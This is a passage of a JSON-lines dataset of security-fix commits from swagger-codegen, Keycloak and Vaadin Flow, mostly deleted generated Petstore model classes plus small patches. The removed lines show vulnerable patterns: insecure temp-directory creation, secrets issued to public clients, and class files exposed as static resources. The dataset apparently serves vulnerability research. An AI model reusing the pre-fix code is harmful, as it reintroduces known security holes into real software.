ObjectUtils.equals(this.id, category.id) &&\n- ObjectUtils.equals(this.name, category.name);\n- }\n-\n- @Override\n- public int hashCode() {\n- return ObjectUtils.hashCodeMulti(id, name);\n- }\n-\n-\n- @Override\n- public String toString() {\n- StringBuilder sb = new StringBuilder();\n- sb.append(\"class Category {\\n\");\n- \n- sb.append(\" id: \").append(toIndentedString(id)).append(\"\\n\");\n- sb.append(\" name: \").append(toIndentedString(name)).append(\"\\n\");\n- sb.append(\"}\");\n- return sb.toString();\n- }\n-\n- /**\n- * Convert the given object to string with each line indented by 4 spaces\n- * (except the first line).\n- */\n- private String toIndentedString(java.lang.Object o) {\n- if (o == null) {\n- return \"null\";\n- }\n- return o.toString().replace(\"\\n\", \"\\n \");\n- }\n-\n-}\n-", "related": false}]} +{"owner": "swagger-api", "repo": "swagger-codegen", "language": "Java", "file_name": "samples/client/petstore/java/jersey2-java6/src/main/java/io/swagger/client/model/MapTest.java", "commit_id": "35adbd552d5f99b3ff1e0e59da228becc85190f2", "commit_message": "Merge pull request from GHSA-hpv8-9rq5-hq7w\n\nsecurity: fix CWE-378 CWE-200 CWE-732 - use java.nio.files", "patch": "@@ -1,167 +0,0 @@\n-/*\n- * Swagger Petstore\n- * This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \\\" \\\\\n- *\n- * OpenAPI spec version: 1.0.0\n- * Contact: apiteam@swagger.io\n- *\n- * NOTE: This class is auto generated by the swagger code generator program.\n- * https://github.com/swagger-api/swagger-codegen.git\n- * Do not edit the class manually.\n- */\n-\n-\n-package io.swagger.client.model;\n-\n-import org.apache.commons.lang3.ObjectUtils;\n-import com.fasterxml.jackson.annotation.JsonProperty;\n-import com.fasterxml.jackson.annotation.JsonCreator;\n-import com.fasterxml.jackson.annotation.JsonValue;\n-import io.swagger.annotations.ApiModel;\n-import io.swagger.annotations.ApiModelProperty;\n-import java.util.HashMap;\n-import java.util.List;\n-import java.util.Map;\n-\n-/**\n- * MapTest\n- */\n-\n-public class MapTest {\n- @JsonProperty(\"map_map_of_string\")\n- private Map> mapMapOfString = null;\n-\n- /**\n- * Gets or Sets inner\n- */\n- public enum InnerEnum {\n- UPPER(\"UPPER\"),\n- \n- LOWER(\"lower\");\n-\n- private String value;\n-\n- InnerEnum(String value) {\n- this.value = value;\n- }\n-\n- @JsonValue\n- public String getValue() {\n- return value;\n- }\n-\n- @Override\n- public String toString() {\n- return String.valueOf(value);\n- }\n-\n- @JsonCreator\n- public static InnerEnum fromValue(String text) {\n- for (InnerEnum b : InnerEnum.values()) {\n- if (String.valueOf(b.value).equals(text)) {\n- return b;\n- }\n- }\n- return null;\n- }\n- }\n-\n- @JsonProperty(\"map_of_enum_string\")\n- private Map mapOfEnumString = null;\n-\n- public MapTest mapMapOfString(Map> mapMapOfString) {\n- this.mapMapOfString = mapMapOfString;\n- return this;\n- }\n-\n- public MapTest putMapMapOfStringItem(String key, Map mapMapOfStringItem) {\n- if (this.mapMapOfString == null) {\n- this.mapMapOfString = new HashMap>();\n- }\n- this.mapMapOfString.put(key, mapMapOfStringItem);\n- return this;\n- }\n-\n- /**\n- * Get mapMapOfString\n- * @return mapMapOfString\n- **/\n- @ApiModelProperty(value = \"\")\n- public Map> getMapMapOfString() {\n- return mapMapOfString;\n- }\n-\n- public void setMapMapOfString(Map> mapMapOfString) {\n- this.mapMapOfString = mapMapOfString;\n- }\n-\n- public MapTest mapOfEnumString(Map mapOfEnumString) {\n- this.mapOfEnumString = mapOfEnumString;\n- return this;\n- }\n-\n- public MapTest putMapOfEnumStringItem(String key, InnerEnum mapOfEnumStringItem) {\n- if (this.mapOfEnumString == null) {\n- this.mapOfEnumString = new HashMap();\n- }\n- this.mapOfEnumString.put(key, mapOfEnumStringItem);\n- return this;\n- }\n-\n- /**\n- * Get mapOfEnumString\n- * @return mapOfEnumString\n- **/\n- @ApiModelProperty(value = \"\")\n- public Map getMapOfEnumString() {\n- return mapOfEnumString;\n- }\n-\n- public void setMapOfEnumString(Map mapOfEnumString) {\n- this.mapOfEnumString = mapOfEnumString;\n- }\n-\n-\n- @Override\n- public boolean equals(java.lang.Object o) {\n- if (this == o) {\n- return true;\n- }\n- if (o == null || getClass() != o.getClass()) {\n- return false;\n- }\n- MapTest mapTest = (MapTest) o;\n- return ObjectUtils.equals(this.mapMapOfString, mapTest.mapMapOfString) &&\n- ObjectUtils.equals(this.mapOfEnumString, mapTest.mapOfEnumString);\n- }\n-\n- @Override\n- public int hashCode() {\n- return ObjectUtils.hashCodeMulti(mapMapOfString, mapOfEnumString);\n- }\n-\n-\n- @Override\n- public String toString() {\n- StringBuilder sb = new StringBuilder();\n- sb.append(\"class MapTest {\\n\");\n- \n- sb.append(\" mapMapOfString: \").append(toIndentedString(mapMapOfString)).append(\"\\n\");\n- sb.append(\" mapOfEnumString: \").append(toIndentedString(mapOfEnumString)).append(\"\\n\");\n- sb.append(\"}\");\n- return sb.toString();\n- }\n-\n- /**\n- * Convert the given object to string with each line indented by 4 spaces\n- * (except the first line).\n- */\n- private String toIndentedString(java.lang.Object o) {\n- if (o == null) {\n- return \"null\";\n- }\n- return o.toString().replace(\"\\n\", \"\\n \");\n- }\n-\n-}\n-", "sections": [{"section": "@@ -1,167 +0,0 @@\n-/*\n- * Swagger Petstore\n- * This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \\\" \\\\\n- *\n- * OpenAPI spec version: 1.0.0\n- * Contact: apiteam@swagger.io\n- *\n- * NOTE: This class is auto generated by the swagger code generator program.\n- * https://github.com/swagger-api/swagger-codegen.git\n- * Do not edit the class manually.\n- */\n-\n-\n-package io.swagger.client.model;\n-\n-import org.apache.commons.lang3.ObjectUtils;\n-import com.fasterxml.jackson.annotation.JsonProperty;\n-import com.fasterxml.jackson.annotation.JsonCreator;\n-import com.fasterxml.jackson.annotation.JsonValue;\n-import io.swagger.annotations.ApiModel;\n-import io.swagger.annotations.ApiModelProperty;\n-import java.util.HashMap;\n-import java.util.List;\n-import java.util.Map;\n-\n-/**\n- * MapTest\n- */\n-\n-public class MapTest {\n- @JsonProperty(\"map_map_of_string\")\n- private Map> mapMapOfString = null;\n-\n- /**\n- * Gets or Sets inner\n- */\n- public enum InnerEnum {\n- UPPER(\"UPPER\"),\n- \n- LOWER(\"lower\");\n-\n- private String value;\n-\n- InnerEnum(String value) {\n- this.value = value;\n- }\n-\n- @JsonValue\n- public String getValue() {\n- return value;\n- }\n-\n- @Override\n- public String toString() {\n- return String.valueOf(value);\n- }\n-\n- @JsonCreator\n- public static InnerEnum fromValue(String text) {\n- for (InnerEnum b : InnerEnum.values()) {\n- if (String.valueOf(b.value).equals(text)) {\n- return b;\n- }\n- }\n- return null;\n- }\n- }\n-\n- @JsonProperty(\"map_of_enum_string\")\n- private Map mapOfEnumString = null;\n-\n- public MapTest mapMapOfString(Map> mapMapOfString) {\n- this.mapMapOfString = mapMapOfString;\n- return this;\n- }\n-\n- public MapTest putMapMapOfStringItem(String key, Map mapMapOfStringItem) {\n- if (this.mapMapOfString == null) {\n- this.mapMapOfString = new HashMap>();\n- }\n- this.mapMapOfString.put(key, mapMapOfStringItem);\n- return this;\n- }\n-\n- /**\n- * Get mapMapOfString\n- * @return mapMapOfString\n- **/\n- @ApiModelProperty(value = \"\")\n- public Map> getMapMapOfString() {\n- return mapMapOfString;\n- }\n-\n- public void setMapMapOfString(Map> mapMapOfString) {\n- this.mapMapOfString = mapMapOfString;\n- }\n-\n- public MapTest mapOfEnumString(Map mapOfEnumString) {\n- this.mapOfEnumString = mapOfEnumString;\n- return this;\n- }\n-\n- public MapTest putMapOfEnumStringItem(String key, InnerEnum mapOfEnumStringItem) {\n- if (this.mapOfEnumString == null) {\n- this.mapOfEnumString = new HashMap();\n- }\n- this.mapOfEnumString.put(key, mapOfEnumStringItem);\n- return this;\n- }\n-\n- /**\n- * Get mapOfEnumString\n- * @return mapOfEnumString\n- **/\n- @ApiModelProperty(value = \"\")\n- public Map getMapOfEnumString() {\n- return mapOfEnumString;\n- }\n-\n- public void setMapOfEnumString(Map mapOfEnumString) {\n- this.mapOfEnumString = mapOfEnumString;\n- }\n-\n-\n- @Override\n- public boolean equals(java.lang.Object o) {\n- if (this == o) {\n- return true;\n- }\n- if (o == null || getClass() != o.getClass()) {\n- return false;\n- }\n- MapTest mapTest = (MapTest) o;\n- return ObjectUtils.equals(this.mapMapOfString, mapTest.mapMapOfString) &&\n- ObjectUtils.equals(this.mapOfEnumString, mapTest.mapOfEnumString);\n- }\n-\n- @Override\n- public int hashCode() {\n- return ObjectUtils.hashCodeMulti(mapMapOfString, mapOfEnumString);\n- }\n-\n-\n- @Override\n- public String toString() {\n- StringBuilder sb = new StringBuilder();\n- sb.append(\"class MapTest {\\n\");\n- \n- sb.append(\" mapMapOfString: \").append(toIndentedString(mapMapOfString)).append(\"\\n\");\n- sb.append(\" mapOfEnumString: \").append(toIndentedString(mapOfEnumString)).append(\"\\n\");\n- sb.append(\"}\");\n- return sb.toString();\n- }\n-\n- /**\n- * Convert the given object to string with each line indented by 4 spaces\n- * (except the first line).\n- */\n- private String toIndentedString(java.lang.Object o) {\n- if (o == null) {\n- return \"null\";\n- }\n- return o.toString().replace(\"\\n\", \"\\n \");\n- }\n-\n-}\n-", "related": false}]} +{"owner": "swagger-api", "repo": "swagger-codegen", "language": "Java", "file_name": "samples/client/petstore/java/jersey2-java6/src/main/java/io/swagger/client/model/Order.java", "commit_id": "35adbd552d5f99b3ff1e0e59da228becc85190f2", "commit_message": "Merge pull request from GHSA-hpv8-9rq5-hq7w\n\nsecurity: fix CWE-378 CWE-200 CWE-732 - use java.nio.files", "patch": "@@ -1,243 +0,0 @@\n-/*\n- * Swagger Petstore\n- * This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \\\" \\\\\n- *\n- * OpenAPI spec version: 1.0.0\n- * Contact: apiteam@swagger.io\n- *\n- * NOTE: This class is auto generated by the swagger code generator program.\n- * https://github.com/swagger-api/swagger-codegen.git\n- * Do not edit the class manually.\n- */\n-\n-\n-package io.swagger.client.model;\n-\n-import org.apache.commons.lang3.ObjectUtils;\n-import com.fasterxml.jackson.annotation.JsonProperty;\n-import com.fasterxml.jackson.annotation.JsonCreator;\n-import com.fasterxml.jackson.annotation.JsonValue;\n-import io.swagger.annotations.ApiModel;\n-import io.swagger.annotations.ApiModelProperty;\n-import org.threeten.bp.OffsetDateTime;\n-\n-/**\n- * Order\n- */\n-\n-public class Order {\n- @JsonProperty(\"id\")\n- private Long id = null;\n-\n- @JsonProperty(\"petId\")\n- private Long petId = null;\n-\n- @JsonProperty(\"quantity\")\n- private Integer quantity = null;\n-\n- @JsonProperty(\"shipDate\")\n- private OffsetDateTime shipDate = null;\n-\n- /**\n- * Order Status\n- */\n- public enum StatusEnum {\n- PLACED(\"placed\"),\n- \n- APPROVED(\"approved\"),\n- \n- DELIVERED(\"delivered\");\n-\n- private String value;\n-\n- StatusEnum(String value) {\n- this.value = value;\n- }\n-\n- @JsonValue\n- public String getValue() {\n- return value;\n- }\n-\n- @Override\n- public String toString() {\n- return String.valueOf(value);\n- }\n-\n- @JsonCreator\n- public static StatusEnum fromValue(String text) {\n- for (StatusEnum b : StatusEnum.values()) {\n- if (String.valueOf(b.value).equals(text)) {\n- return b;\n- }\n- }\n- return null;\n- }\n- }\n-\n- @JsonProperty(\"status\")\n- private StatusEnum status = null;\n-\n- @JsonProperty(\"complete\")\n- private Boolean complete = false;\n-\n- public Order id(Long id) {\n- this.id = id;\n- return this;\n- }\n-\n- /**\n- * Get id\n- * @return id\n- **/\n- @ApiModelProperty(value = \"\")\n- public Long getId() {\n- return id;\n- }\n-\n- public void setId(Long id) {\n- this.id = id;\n- }\n-\n- public Order petId(Long petId) {\n- this.petId = petId;\n- return this;\n- }\n-\n- /**\n- * Get petId\n- * @return petId\n- **/\n- @ApiModelProperty(value = \"\")\n- public Long getPetId() {\n- return petId;\n- }\n-\n- public void setPetId(Long petId) {\n- this.petId = petId;\n- }\n-\n- public Order quantity(Integer quantity) {\n- this.quantity = quantity;\n- return this;\n- }\n-\n- /**\n- * Get quantity\n- * @return quantity\n- **/\n- @ApiModelProperty(value = \"\")\n- public Integer getQuantity() {\n- return quantity;\n- }\n-\n- public void setQuantity(Integer quantity) {\n- this.quantity = quantity;\n- }\n-\n- public Order shipDate(OffsetDateTime shipDate) {\n- this.shipDate = shipDate;\n- return this;\n- }\n-\n- /**\n- * Get shipDate\n- * @return shipDate\n- **/\n- @ApiModelProperty(value = \"\")\n- public OffsetDateTime getShipDate() {\n- return shipDate;\n- }\n-\n- public void setShipDate(OffsetDateTime shipDate) {\n- this.shipDate = shipDate;\n- }\n-\n- public Order status(StatusEnum status) {\n- this.status = status;\n- return this;\n- }\n-\n- /**\n- * Order Status\n- * @return status\n- **/\n- @ApiModelProperty(value = \"Order Status\")\n- public StatusEnum getStatus() {\n- return status;\n- }\n-\n- public void setStatus(StatusEnum status) {\n- this.status = status;\n- }\n-\n- public Order complete(Boolean complete) {\n- this.complete = complete;\n- return this;\n- }\n-\n- /**\n- * Get complete\n- * @return complete\n- **/\n- @ApiModelProperty(value = \"\")\n- public Boolean isComplete() {\n- return complete;\n- }\n-\n- public void setComplete(Boolean complete) {\n- this.complete = complete;\n- }\n-\n-\n- @Override\n- public boolean equals(java.lang.Object o) {\n- if (this == o) {\n- return true;\n- }\n- if (o == null || getClass() != o.getClass()) {\n- return false;\n- }\n- Order order = (Order) o;\n- return ObjectUtils.equals(this.id, order.id) &&\n- ObjectUtils.equals(this.petId, order.petId) &&\n- ObjectUtils.equals(this.quantity, order.quantity) &&\n- ObjectUtils.equals(this.shipDate, order.shipDate) &&\n- ObjectUtils.equals(this.status, order.status) &&\n- ObjectUtils.equals(this.complete, order.complete);\n- }\n-\n- @Override\n- public int hashCode() {\n- return ObjectUtils.hashCodeMulti(id, petId, quantity, shipDate, status, complete);\n- }\n-\n-\n- @Override\n- public String toString() {\n- StringBuilder sb = new StringBuilder();\n- sb.append(\"class Order {\\n\");\n- \n- sb.append(\" id: \").append(toIndentedString(id)).append(\"\\n\");\n- sb.append(\" petId: \").append(toIndentedString(petId)).append(\"\\n\");\n- sb.append(\" quantity: \").append(toIndentedString(quantity)).append(\"\\n\");\n- sb.append(\" shipDate: \").append(toIndentedString(shipDate)).append(\"\\n\");\n- sb.append(\" status: \").append(toIndentedString(status)).append(\"\\n\");\n- sb.append(\" complete: \").append(toIndentedString(complete)).append(\"\\n\");\n- sb.append(\"}\");\n- return sb.toString();\n- }\n-\n- /**\n- * Convert the given object to string with each line indented by 4 spaces\n- * (except the first line).\n- */\n- private String toIndentedString(java.lang.Object o) {\n- if (o == null) {\n- return \"null\";\n- }\n- return o.toString().replace(\"\\n\", \"\\n \");\n- }\n-\n-}\n-", "sections": [{"section": "@@ -1,243 +0,0 @@\n-/*\n- * Swagger Petstore\n- * This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \\\" \\\\\n- *\n- * OpenAPI spec version: 1.0.0\n- * Contact: apiteam@swagger.io\n- *\n- * NOTE: This class is auto generated by the swagger code generator program.\n- * https://github.com/swagger-api/swagger-codegen.git\n- * Do not edit the class manually.\n- */\n-\n-\n-package io.swagger.client.model;\n-\n-import org.apache.commons.lang3.ObjectUtils;\n-import com.fasterxml.jackson.annotation.JsonProperty;\n-import com.fasterxml.jackson.annotation.JsonCreator;\n-import com.fasterxml.jackson.annotation.JsonValue;\n-import io.swagger.annotations.ApiModel;\n-import io.swagger.annotations.ApiModelProperty;\n-import org.threeten.bp.OffsetDateTime;\n-\n-/**\n- * Order\n- */\n-\n-public class Order {\n- @JsonProperty(\"id\")\n- private Long id = null;\n-\n- @JsonProperty(\"petId\")\n- private Long petId = null;\n-\n- @JsonProperty(\"quantity\")\n- private Integer quantity = null;\n-\n- @JsonProperty(\"shipDate\")\n- private OffsetDateTime shipDate = null;\n-\n- /**\n- * Order Status\n- */\n- public enum StatusEnum {\n- PLACED(\"placed\"),\n- \n- APPROVED(\"approved\"),\n- \n- DELIVERED(\"delivered\");\n-\n- private String value;\n-\n- StatusEnum(String value) {\n- this.value = value;\n- }\n-\n- @JsonValue\n- public String getValue() {\n- return value;\n- }\n-\n- @Override\n- public String toString() {\n- return String.valueOf(value);\n- }\n-\n- @JsonCreator\n- public static StatusEnum fromValue(String text) {\n- for (StatusEnum b : StatusEnum.values()) {\n- if (String.valueOf(b.value).equals(text)) {\n- return b;\n- }\n- }\n- return null;\n- }\n- }\n-\n- @JsonProperty(\"status\")\n- private StatusEnum status = null;\n-\n- @JsonProperty(\"complete\")\n- private Boolean complete = false;\n-\n- public Order id(Long id) {\n- this.id = id;\n- return this;\n- }\n-\n- /**\n- * Get id\n- * @return id\n- **/\n- @ApiModelProperty(value = \"\")\n- public Long getId() {\n- return id;\n- }\n-\n- public void setId(Long id) {\n- this.id = id;\n- }\n-\n- public Order petId(Long petId) {\n- this.petId = petId;\n- return this;\n- }\n-\n- /**\n- * Get petId\n- * @return petId\n- **/\n- @ApiModelProperty(value = \"\")\n- public Long getPetId() {\n- return petId;\n- }\n-\n- public void setPetId(Long petId) {\n- this.petId = petId;\n- }\n-\n- public Order quantity(Integer quantity) {\n- this.quantity = quantity;\n- return this;\n- }\n-\n- /**\n- * Get quantity\n- * @return quantity\n- **/\n- @ApiModelProperty(value = \"\")\n- public Integer getQuantity() {\n- return quantity;\n- }\n-\n- public void setQuantity(Integer quantity) {\n- this.quantity = quantity;\n- }\n-\n- public Order shipDate(OffsetDateTime shipDate) {\n- this.shipDate = shipDate;\n- return this;\n- }\n-\n- /**\n- * Get shipDate\n- * @return shipDate\n- **/\n- @ApiModelProperty(value = \"\")\n- public OffsetDateTime getShipDate() {\n- return shipDate;\n- }\n-\n- public void setShipDate(OffsetDateTime shipDate) {\n- this.shipDate = shipDate;\n- }\n-\n- public Order status(StatusEnum status) {\n- this.status = status;\n- return this;\n- }\n-\n- /**\n- * Order Status\n- * @return status\n- **/\n- @ApiModelProperty(value = \"Order Status\")\n- public StatusEnum getStatus() {\n- return status;\n- }\n-\n- public void setStatus(StatusEnum status) {\n- this.status = status;\n- }\n-\n- public Order complete(Boolean complete) {\n- this.complete = complete;\n- return this;\n- }\n-\n- /**\n- * Get complete\n- * @return complete\n- **/\n- @ApiModelProperty(value = \"\")\n- public Boolean isComplete() {\n- return complete;\n- }\n-\n- public void setComplete(Boolean complete) {\n- this.complete = complete;\n- }\n-\n-\n- @Override\n- public boolean equals(java.lang.Object o) {\n- if (this == o) {\n- return true;\n- }\n- if (o == null || getClass() != o.getClass()) {\n- return false;\n- }\n- Order order = (Order) o;\n- return ObjectUtils.equals(this.id, order.id) &&\n- ObjectUtils.equals(this.petId, order.petId) &&\n- ObjectUtils.equals(this.quantity, order.quantity) &&\n- ObjectUtils.equals(this.shipDate, order.shipDate) &&\n- ObjectUtils.equals(this.status, order.status) &&\n- ObjectUtils.equals(this.complete, order.complete);\n- }\n-\n- @Override\n- public int hashCode() {\n- return ObjectUtils.hashCodeMulti(id, petId, quantity, shipDate, status, complete);\n- }\n-\n-\n- @Override\n- public String toString() {\n- StringBuilder sb = new StringBuilder();\n- sb.append(\"class Order {\\n\");\n- \n- sb.append(\" id: \").append(toIndentedString(id)).append(\"\\n\");\n- sb.append(\" petId: \").append(toIndentedString(petId)).append(\"\\n\");\n- sb.append(\" quantity: \").append(toIndentedString(quantity)).append(\"\\n\");\n- sb.append(\" shipDate: \").append(toIndentedString(shipDate)).append(\"\\n\");\n- sb.append(\" status: \").append(toIndentedString(status)).append(\"\\n\");\n- sb.append(\" complete: \").append(toIndentedString(complete)).append(\"\\n\");\n- sb.append(\"}\");\n- return sb.toString();\n- }\n-\n- /**\n- * Convert the given object to string with each line indented by 4 spaces\n- * (except the first line).\n- */\n- private String toIndentedString(java.lang.Object o) {\n- if (o == null) {\n- return \"null\";\n- }\n- return o.toString().replace(\"\\n\", \"\\n \");\n- }\n-\n-}\n-", "related": false}]} +{"owner": "swagger-api", "repo": "swagger-codegen", "language": "Java", "file_name": "samples/client/petstore/java/jersey2-java6/src/test/java/io/swagger/client/api/FakeClassnameTags123ApiTest.java", "commit_id": "35adbd552d5f99b3ff1e0e59da228becc85190f2", "commit_message": "Merge pull request from GHSA-hpv8-9rq5-hq7w\n\nsecurity: fix CWE-378 CWE-200 CWE-732 - use java.nio.files", "patch": "@@ -1,51 +0,0 @@\n-/*\n- * Swagger Petstore\n- * This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \\\" \\\\\n- *\n- * OpenAPI spec version: 1.0.0\n- * Contact: apiteam@swagger.io\n- *\n- * NOTE: This class is auto generated by the swagger code generator program.\n- * https://github.com/swagger-api/swagger-codegen.git\n- * Do not edit the class manually.\n- */\n-\n-\n-package io.swagger.client.api;\n-\n-import io.swagger.client.ApiException;\n-import io.swagger.client.model.Client;\n-import org.junit.Test;\n-import org.junit.Ignore;\n-\n-import java.util.ArrayList;\n-import java.util.HashMap;\n-import java.util.List;\n-import java.util.Map;\n-\n-/**\n- * API tests for FakeClassnameTags123Api\n- */\n-@Ignore\n-public class FakeClassnameTags123ApiTest {\n-\n- private final FakeClassnameTags123Api api = new FakeClassnameTags123Api();\n-\n- \n- /**\n- * To test class name in snake case\n- *\n- * \n- *\n- * @throws ApiException\n- * if the Api call fails\n- */\n- @Test\n- public void testClassnameTest() throws ApiException {\n- Client body = null;\n- Client response = api.testClassname(body);\n-\n- // TODO: test validations\n- }\n- \n-}", "sections": [{"section": "@@ -1,51 +0,0 @@\n-/*\n- * Swagger Petstore\n- * This spec is mainly for testing Petstore server and contains fake endpoints, models. Please do not use this for any other purpose. Special characters: \\\" \\\\\n- *\n- * OpenAPI spec version: 1.0.0\n- * Contact: apiteam@swagger.io\n- *\n- * NOTE: This class is auto generated by the swagger code generator program.\n- * https://github.com/swagger-api/swagger-codegen.git\n- * Do not edit the class manually.\n- */\n-\n-\n-package io.swagger.client.api;\n-\n-import io.swagger.client.ApiException;\n-import io.swagger.client.model.Client;\n-import org.junit.Test;\n-import org.junit.Ignore;\n-\n-import java.util.ArrayList;\n-import java.util.HashMap;\n-import java.util.List;\n-import java.util.Map;\n-\n-/**\n- * API tests for FakeClassnameTags123Api\n- */\n-@Ignore\n-public class FakeClassnameTags123ApiTest {\n-\n- private final FakeClassnameTags123Api api = new FakeClassnameTags123Api();\n-\n- \n- /**\n- * To test class name in snake case\n- *\n- * \n- *\n- * @throws ApiException\n- * if the Api call fails\n- */\n- @Test\n- public void testClassnameTest() throws ApiException {\n- Client body = null;\n- Client response = api.testClassname(body);\n-\n- // TODO: test validations\n- }\n- \n-}", "related": false}]} +{"owner": "swagger-api", "repo": "swagger-codegen", "language": "Java", "file_name": "modules/swagger-generator/src/main/java/io/swagger/generator/online/Generator.java", "commit_id": "987ea7a30b463cc239580d6ad166c707ae942a89", "commit_message": "Merge pull request from GHSA-pc22-3g76-gm6j\n\n security: use java.nio.files in Generator.", "patch": "@@ -15,6 +15,7 @@\n import org.slf4j.LoggerFactory;\n \n import java.io.File;\n+import java.nio.file.Files;\n import java.util.ArrayList;\n import java.util.LinkedHashMap;\n import java.util.List;\n@@ -173,9 +174,7 @@ public static InputOption serverOptions(@SuppressWarnings(\"unused\") String langu\n \n protected static File getTmpFolder() {\n try {\n- File outputFolder = File.createTempFile(\"codegen-\", \"-tmp\");\n- outputFolder.delete();\n- outputFolder.mkdir();\n+ File outputFolder = Files.createTempDirectory(\"codegen-\").toFile();\n outputFolder.deleteOnExit();\n return outputFolder;\n } catch (Exception e) {", "sections": [{"section": "@@ -15,6 +15,7 @@\n import org.slf4j.LoggerFactory;\n \n import java.io.File;\n+import java.nio.file.Files;\n import java.util.ArrayList;\n import java.util.LinkedHashMap;\n import java.util.List;\n", "related": false}, {"section": "@@ -173,9 +174,7 @@ public static InputOption serverOptions(@SuppressWarnings(\"unused\") String langu\n \n protected static File getTmpFolder() {\n try {\n- File outputFolder = File.createTempFile(\"codegen-\", \"-tmp\");\n- outputFolder.delete();\n- outputFolder.mkdir();\n+ File outputFolder = Files.createTempDirectory(\"codegen-\").toFile();\n outputFolder.deleteOnExit();\n return outputFolder;\n } catch (Exception e) {", "related": false}]} +{"owner": "keycloak", "repo": "keycloak", "language": "Java", "file_name": "server-spi-private/src/main/java/org/keycloak/migration/migrators/MigrateTo9_0_0.java", "commit_id": "9356843c6c3d7097d010b3bb6f91e25fcaba378c", "commit_message": "[KEYCLOAK-16521] - Fixing secret for non-confidential clients", "patch": "@@ -79,11 +79,10 @@ private void addAccountApiRoles(RealmModel realm) {\n \n protected void addAccountConsoleClient(RealmModel realm) {\n if (realm.getClientByClientId(Constants.ACCOUNT_CONSOLE_CLIENT_ID) == null) {\n- ClientModel client = KeycloakModelUtils.createClient(realm, Constants.ACCOUNT_CONSOLE_CLIENT_ID);\n+ ClientModel client = KeycloakModelUtils.createPublicClient(realm, Constants.ACCOUNT_CONSOLE_CLIENT_ID);\n client.setName(\"${client_\" + Constants.ACCOUNT_CONSOLE_CLIENT_ID + \"}\");\n client.setEnabled(true);\n client.setFullScopeAllowed(false);\n- client.setPublicClient(true);\n client.setDirectAccessGrantsEnabled(false);\n \n client.setRootUrl(Constants.AUTH_BASE_URL_PROP);", "sections": [{"section": "@@ -79,11 +79,10 @@ private void addAccountApiRoles(RealmModel realm) {\n \n protected void addAccountConsoleClient(RealmModel realm) {\n if (realm.getClientByClientId(Constants.ACCOUNT_CONSOLE_CLIENT_ID) == null) {\n- ClientModel client = KeycloakModelUtils.createClient(realm, Constants.ACCOUNT_CONSOLE_CLIENT_ID);\n+ ClientModel client = KeycloakModelUtils.createPublicClient(realm, Constants.ACCOUNT_CONSOLE_CLIENT_ID);\n client.setName(\"${client_\" + Constants.ACCOUNT_CONSOLE_CLIENT_ID + \"}\");\n client.setEnabled(true);\n client.setFullScopeAllowed(false);\n- client.setPublicClient(true);\n client.setDirectAccessGrantsEnabled(false);\n \n client.setRootUrl(Constants.AUTH_BASE_URL_PROP);", "related": false}]} +{"owner": "keycloak", "repo": "keycloak", "language": "Java", "file_name": "testsuite/integration-arquillian/tests/base/src/test/java/org/keycloak/testsuite/admin/ClientTest.java", "commit_id": "9356843c6c3d7097d010b3bb6f91e25fcaba378c", "commit_message": "[KEYCLOAK-16521] - Fixing secret for non-confidential clients", "patch": "@@ -106,7 +106,9 @@ private ClientRepresentation createClient() {\n public void createClientVerify() {\n String id = createClient().getId();\n \n- assertNotNull(realm.clients().get(id));\n+ ClientResource client = realm.clients().get(id);\n+ assertNotNull(client);\n+ assertNull(client.toRepresentation().getSecret());\n Assert.assertNames(realm.clients().findAll(), \"account\", \"account-console\", \"realm-management\", \"security-admin-console\", \"broker\", \"my-app\", Constants.ADMIN_CLI_CLIENT_ID);\n }\n ", "sections": [{"section": "@@ -106,7 +106,9 @@ private ClientRepresentation createClient() {\n public void createClientVerify() {\n String id = createClient().getId();\n \n- assertNotNull(realm.clients().get(id));\n+ ClientResource client = realm.clients().get(id);\n+ assertNotNull(client);\n+ assertNull(client.toRepresentation().getSecret());\n Assert.assertNames(realm.clients().findAll(), \"account\", \"account-console\", \"realm-management\", \"security-admin-console\", \"broker\", \"my-app\", Constants.ADMIN_CLI_CLIENT_ID);\n }\n ", "related": false}]} +{"owner": "vaadin", "repo": "flow", "language": "Java", "file_name": "flow-tests/test-root-context/src/main/java/com/vaadin/flow/osgi/Activator.java", "commit_id": "37e5a0ff0bb7365aa4485f2550fa6aa99f78974c", "commit_message": "fix: avoid exposing ServletContext resources via StaticFileServer (#10269)\n\nfix: avoid exposing ServletContext resources via StaticFileServer in OSGi\r\n\r\nfixes #10260", "patch": "@@ -15,12 +15,13 @@\n */\n package com.vaadin.flow.osgi;\n \n-import java.util.Dictionary;\n-import java.util.Hashtable;\n-\n import javax.servlet.ServletConfig;\n import javax.servlet.ServletException;\n \n+import java.net.URL;\n+import java.util.Dictionary;\n+import java.util.Hashtable;\n+\n import org.osgi.framework.BundleActivator;\n import org.osgi.framework.BundleContext;\n import org.osgi.framework.ServiceReference;\n@@ -29,18 +30,39 @@\n import org.osgi.util.tracker.ServiceTracker;\n \n import com.vaadin.flow.server.Constants;\n+import com.vaadin.flow.server.StaticFileHandler;\n+import com.vaadin.flow.server.StaticFileServer;\n import com.vaadin.flow.server.VaadinServletConfiguration;\n+import com.vaadin.flow.server.VaadinServletService;\n import com.vaadin.flow.uitest.servlet.Es6UrlViewTestServlet;\n import com.vaadin.flow.uitest.servlet.ProductionModeTimingDataViewTestServlet;\n import com.vaadin.flow.uitest.servlet.ProductionModeViewTestServlet;\n import com.vaadin.flow.uitest.servlet.RouterTestServlet;\n import com.vaadin.flow.uitest.servlet.ViewTestServlet;\n-import com.vaadin.flow.uitest.servlet.WebJarsServlet;\n \n public class Activator implements BundleActivator {\n \n private ServiceTracker httpTracker;\n \n+ private static class ItStaticFileServer extends StaticFileServer {\n+\n+ private final VaadinServletService servletService;\n+\n+ private ItStaticFileServer(VaadinServletService servletService) {\n+ super(servletService);\n+ this.servletService = servletService;\n+ }\n+\n+ @Override\n+ protected URL getStaticResource(String path) {\n+ if (path.endsWith(\".class\")) {\n+ return null;\n+ }\n+ return servletService.getStaticResource(path);\n+ }\n+\n+ }\n+\n @VaadinServletConfiguration(productionMode = false)\n private static class FixedViewServlet extends ViewTestServlet {\n @Override\n@@ -49,6 +71,12 @@ public void init(ServletConfig servletConfig) throws ServletException {\n \n getService().setClassLoader(getClass().getClassLoader());\n }\n+\n+ @Override\n+ protected StaticFileHandler createStaticFileHandler(\n+ VaadinServletService servletService) 